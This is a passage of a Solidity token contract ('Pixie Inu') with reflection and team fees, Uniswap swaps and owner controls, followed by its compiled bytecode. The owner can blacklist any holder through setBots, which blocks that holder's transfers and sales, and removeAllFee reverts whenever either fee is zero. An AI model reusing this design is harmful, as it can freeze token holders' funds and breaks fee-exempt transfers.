}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
require(_taxFee > 0 && _teamFee > 0);
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
require(initialized, "Contract not yet initialized");
if (block.timestamp == launchTime) _isBot[to] = true;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromReflection[from] || _isExcludedFromReflection[to] || _noTaxMode) takeFee = false;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!initialized,"Contract has already been initialized");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromReflection[_feeAddress] = true;
_isExcludedFromFee[_feeAddress] = true;
initialized = true;
launchTime = block.timestamp;
initialLimitDuration = launchTime + (60 minutes);
}
function setFeeWallet (address payable feeWalletAddress) external onlyOwner {
_isExcludedFromReflection[_feeAddress] = false;
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromReflection[_feeAddress] = true;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee (address payable ad) external onlyOwner {
_isExcludedFromReflection[ad] = true;
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external onlyOwner {
_isExcludedFromReflection[ad] = false;
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external onlyOwner {
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external onlyOwner {
require(team <= 9);
_teamFee = team;
}
function setTaxFee(uint256 tax) external onlyOwner {
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns(bool) {
return _isExcludedFromFee[ad];
}
function isExcludedFromReflection(address ad) public view returns(bool) {
return _isExcludedFromReflection[ad];
}
function unclogFee() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function burn(uint256 _amtToBurn) external {
transfer(_deadAddress, _amtToBurn);
for (uint i = 0; i < _burnAddressList.length; i += 1) {
address _address = _burnAddressList[i];
uint256 _previousAmt = _burnAmountList[i];
require(msg.sender != address(0), "Address invalid");
if (_address == msg.sender) {
_burnAmountList[i] = _previousAmt.add(_amtToBurn);
return;
}
}
_burnAddressList.push(msg.sender);
_burnAmountList.push(_amtToBurn);
}
function totalBurned() public view returns (uint256) {
return balanceOf(_deadAddress);
}
function userBurned(address _user) public view returns (uint256) {
for (uint i = 0; i < _burnAddressList.length; i += 1) {
address _address = _burnAddressList[i];
if (_address == _user) {
return _burnAmountList[i];
}
}
return 0;
}
function burnedAddressList() public view returns (address[] memory) {
return _burnAddressList;
}
function burnedAmountList() public view returns (uint256[] memory) {
return _burnAmountList;
}
receive() external payable {}
}
|
0x6080604052600436106101d15760003560e01c80637d459db3116100f7578063c4081a4c11610095578063d89135cd11610064578063d89135cd14610691578063dd62ed3e146106bc578063e6ec64ec146106f9578063f2fde38b14610722576101d8565b8063c4081a4c146105eb578063cf0848f714610614578063cf9d4afa1461063d578063d35d331c14610666576101d8565b806395d89b41116100d157806395d89b411461052f578063a6de1aaf1461055a578063a9059cbb14610585578063b515566a146105c2576101d8565b80637d459db31461049e5780638da5cb5b146104db57806390d49b9d14610506576101d8565b80633bbac5791161016f5780635342acb41161013e5780635342acb4146103d0578063562904e91461040d57806370a082311461044a578063715018a614610487576101d8565b80633bbac5791461031857806342966c6814610355578063437823ec1461037e5780634b740b16146103a7576101d8565b806323b872dd116101ab57806323b872dd14610270578063313ce567146102ad57806331c2d847146102d857806334948bfa14610301576101d8565b806306fdde03146101dd578063095ea7b31461020857806318160ddd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f261074b565b6040516101ff91906133b1565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a919061347b565b610788565b60405161023c91906134d6565b60405180910390f35b34801561025157600080fd5b5061025a6107a6565b6040516102679190613500565b60405180910390f35b34801561027c57600080fd5b506102976004803603810190610292919061351b565b6107b7565b6040516102a491906134d6565b60405180910390f35b3480156102b957600080fd5b506102c2610890565b6040516102cf919061358a565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa91906136ed565b610899565b005b34801561030d57600080fd5b506103166109aa565b005b34801561032457600080fd5b5061033f600480360381019061033a9190613736565b610a4e565b60405161034c91906134d6565b60405180910390f35b34801561036157600080fd5b5061037c60048036038101906103779190613763565b610aa4565b005b34801561038a57600080fd5b506103a560048036038101906103a091906137ce565b610ccf565b005b3480156103b357600080fd5b506103ce60048036038101906103c99190613827565b610dfe565b005b3480156103dc57600080fd5b506103f760048036038101906103f29190613736565b610e97565b60405161040491906134d6565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190613736565b610eed565b6040516104419190613500565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c9190613736565b610fc1565b60405161047e9190613500565b60405180910390f35b34801561049357600080fd5b5061049c611012565b005b3480156104aa57600080fd5b506104c560048036038101906104c09190613736565b61109a565b6040516104d291906134d6565b60405180910390f35b3480156104e757600080fd5b506104f06110f0565b6040516104fd9190613863565b60405180910390f35b34801561051257600080fd5b5061052d600480360381019061052891906137ce565b611119565b005b34801561053b57600080fd5b506105446113c1565b60405161055191906133b1565b60405180910390f35b34801561056657600080fd5b5061056f6113fe565b60405161057c919061393c565b60405180910390f35b34801561059157600080fd5b506105ac60048036038101906105a7919061347b565b611456565b6040516105b991906134d6565b60405180910390f35b3480156105ce57600080fd5b506105e960048036038101906105e491906136ed565b611474565b005b3480156105f757600080fd5b50610612600480360381019061060d9190613763565b61166b565b005b34801561062057600080fd5b5061063b600480360381019061063691906137ce565b6116ff565b005b34801561064957600080fd5b50610664600480360381019061065f91906137ce565b61182e565b005b34801561067257600080fd5b5061067b611c5f565b6040516106889190613a1c565b60405180910390f35b34801561069d57600080fd5b506106a6611ced565b6040516106b39190613500565b60405180910390f35b3480156106c857600080fd5b506106e360048036038101906106de9190613a3e565b611d1f565b6040516106f09190613500565b60405180910390f35b34801561070557600080fd5b50610720600480360381019061071b9190613763565b611da6565b005b34801561072e57600080fd5b5061074960048036038101906107449190613736565b611e3a565b005b60606040518060400160405280600981526020017f506978696520496e750000000000000000000000000000000000000000000000815250905090565b600061079c610795611f32565b8484611f3a565b6001905092915050565b6000683635c9adc5dea00000905090565b60006107c4848484612105565b610885846107d0611f32565b610880856040518060600160405280602881526020016144fe60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610836611f32565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127759092919063ffffffff16565b611f3a565b600190509392505050565b60006009905090565b6108a1611f32565b73ffffffffffffffffffffffffffffffffffffffff166108bf6110f0565b73ffffffffffffffffffffffffffffffffffffffff1614610915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090c90613aca565b60405180910390fd5b60005b81518110156109a65760006006600084848151811061093a57610939613aea565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061099e90613b48565b915050610918565b5050565b6109b2611f32565b73ffffffffffffffffffffffffffffffffffffffff166109d06110f0565b73ffffffffffffffffffffffffffffffffffffffff1614610a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1d90613aca565b60405180910390fd5b6000610a3130610fc1565b9050610a3c816127d9565b6000479050610a4a81612a52565b5050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ad0600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611456565b5060005b601180549050811015610c3e57600060118281548110610af757610af6613aea565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060128381548110610b3a57610b39613aea565b5b90600052602060002001549050600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae90613bdd565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2857610bfe8482612abe90919063ffffffff16565b60128481548110610c1257610c11613aea565b5b9060005260206000200181905550505050610ccc565b5050600181610c379190613bfd565b9050610ad4565b506011339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060128190806001815401808255809150506001900390600052602060002001600090919091909150555b50565b610cd7611f32565b73ffffffffffffffffffffffffffffffffffffffff16610cf56110f0565b73ffffffffffffffffffffffffffffffffffffffff1614610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4290613aca565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e06611f32565b73ffffffffffffffffffffffffffffffffffffffff16610e246110f0565b73ffffffffffffffffffffffffffffffffffffffff1614610e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7190613aca565b60405180910390fd5b80601360016101000a81548160ff02191690831515021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600090505b601180549050811015610fb657600060118281548110610f1857610f17613aea565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fa15760128281548110610f8d57610f8c613aea565b5b906000526020600020015492505050610fbc565b50600181610faf9190613bfd565b9050610ef5565b50600090505b919050565b600061100b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1c565b9050919050565b61101a611f32565b73ffffffffffffffffffffffffffffffffffffffff166110386110f0565b73ffffffffffffffffffffffffffffffffffffffff161461108e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108590613aca565b60405180910390fd5b6110986000612b8a565b565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611121611f32565b73ffffffffffffffffffffffffffffffffffffffff1661113f6110f0565b73ffffffffffffffffffffffffffffffffffffffff1614611195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118c90613aca565b60405180910390fd5b600060046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600581526020017f5049584945000000000000000000000000000000000000000000000000000000815250905090565b6060601280548060200260200160405190810160405280929190818152602001828054801561144c57602002820191906000526020600020905b815481526020019060010190808311611438575b5050505050905090565b600061146a611463611f32565b8484612105565b6001905092915050565b61147c611f32565b73ffffffffffffffffffffffffffffffffffffffff1661149a6110f0565b73ffffffffffffffffffffffffffffffffffffffff16146114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790613aca565b60405180910390fd5b60005b815181101561166757601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061154857611547613aea565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156115dc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106115bb576115ba613aea565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15611654576001600660008484815181106115fa576115f9613aea565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061165f90613b48565b9150506114f3565b5050565b611673611f32565b73ffffffffffffffffffffffffffffffffffffffff166116916110f0565b73ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116de90613aca565b60405180910390fd5b60018111156116f557600080fd5b8060098190555050565b611707611f32565b73ffffffffffffffffffffffffffffffffffffffff166117256110f0565b73ffffffffffffffffffffffffffffffffffffffff161461177b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177290613aca565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611836611f32565b73ffffffffffffffffffffffffffffffffffffffff166118546110f0565b73ffffffffffffffffffffffffffffffffffffffff16146118aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a190613aca565b60405180910390fd5b601360009054906101000a900460ff16156118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f190613cc5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561195e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119829190613cfa565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0d9190613cfa565b6040518363ffffffff1660e01b8152600401611a2a929190613d27565b6020604051808303816000875af1158015611a49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6d9190613cfa565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601360006101000a81548160ff02191690831515021790555042601481905550610e10601454611c559190613bfd565b6015819055505050565b60606011805480602002602001604051908101604052809291908181526020018280548015611ce357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611c99575b5050505050905090565b6000611d1a600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610fc1565b905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611dae611f32565b73ffffffffffffffffffffffffffffffffffffffff16611dcc6110f0565b73ffffffffffffffffffffffffffffffffffffffff1614611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1990613aca565b60405180910390fd5b6009811115611e3057600080fd5b80600a8190555050565b611e42611f32565b73ffffffffffffffffffffffffffffffffffffffff16611e606110f0565b73ffffffffffffffffffffffffffffffffffffffff1614611eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ead90613aca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1d90613dc2565b60405180910390fd5b611f2f81612b8a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa190613e54565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561201a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201190613ee6565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120f89190613500565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216c90613f78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121dc9061400a565b60405180910390fd5b60008111612228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221f9061409c565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ac90614154565b60405180910390fd5b601360009054906101000a900460ff16612304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fb906141c0565b60405180910390fd5b601454421415612367576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561240b5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124245750601360019054906101000a900460ff16155b1561269b57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124d45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124e1575042601554115b156125435760006124f183610fc1565b905061252360646125156002683635c9adc5dea00000612c4e90919063ffffffff16565b612cc990919063ffffffff16565b6125368284612abe90919063ffffffff16565b111561254157600080fd5b505b600061254e30610fc1565b9050601360029054906101000a900460ff161580156125bb5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561269957600081111561267f5761261a606461260c60056125fe601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610fc1565b612c4e90919063ffffffff16565b612cc990919063ffffffff16565b8111156126755761267260646126646005612656601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610fc1565b612c4e90919063ffffffff16565b612cc990919063ffffffff16565b90505b61267e816127d9565b5b600047905060008111156126975761269647612a52565b5b505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806127425750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806127595750601360019054906101000a900460ff165b1561276357600090505b61276f84848484612d13565b50505050565b60008383111582906127bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b491906133b1565b60405180910390fd5b50600083856127cc91906141e0565b9050809150509392505050565b6001601360026101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612811576128106135aa565b5b60405190808252806020026020018201604052801561283f5781602001602082028036833780820191505090505b509050308160008151811061285757612856613aea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129229190613cfa565b8160018151811061293657612935613aea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061299d30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f3a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a01959493929190614259565b600060405180830381600087803b158015612a1b57600080fd5b505af1158015612a2f573d6000803e3d6000fd5b50505050506000601360026101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612aba573d6000803e3d6000fd5b5050565b6000808284612acd9190613bfd565b905083811015612b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b09906142ff565b60405180910390fd5b8091505092915050565b6000600754821115612b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5a90614391565b60405180910390fd5b6000612b6d612d40565b9050612b828184612cc990919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080831415612c615760009050612cc3565b60008284612c6f91906143b1565b9050828482612c7e919061443a565b14612cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cb5906144dd565b60405180910390fd5b809150505b92915050565b6000612d0b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d6b565b905092915050565b80612d2157612d20612dce565b5b612d2c848484612e0f565b80612d3a57612d39612fda565b5b50505050565b6000806000612d4d612fee565b91509150612d648183612cc990919063ffffffff16565b9250505090565b60008083118290612db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612da991906133b1565b60405180910390fd5b5060008385612dc1919061443a565b9050809150509392505050565b6000600954118015612de257506000600a54115b612deb57600080fd5b600954600b81905550600a54600c8190555060006009819055506000600a81905550565b600080600080600080612e2187613050565b955095509550955095509550612e7f86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130b890919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f1485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612abe90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6081613102565b612f6a84836131bf565b87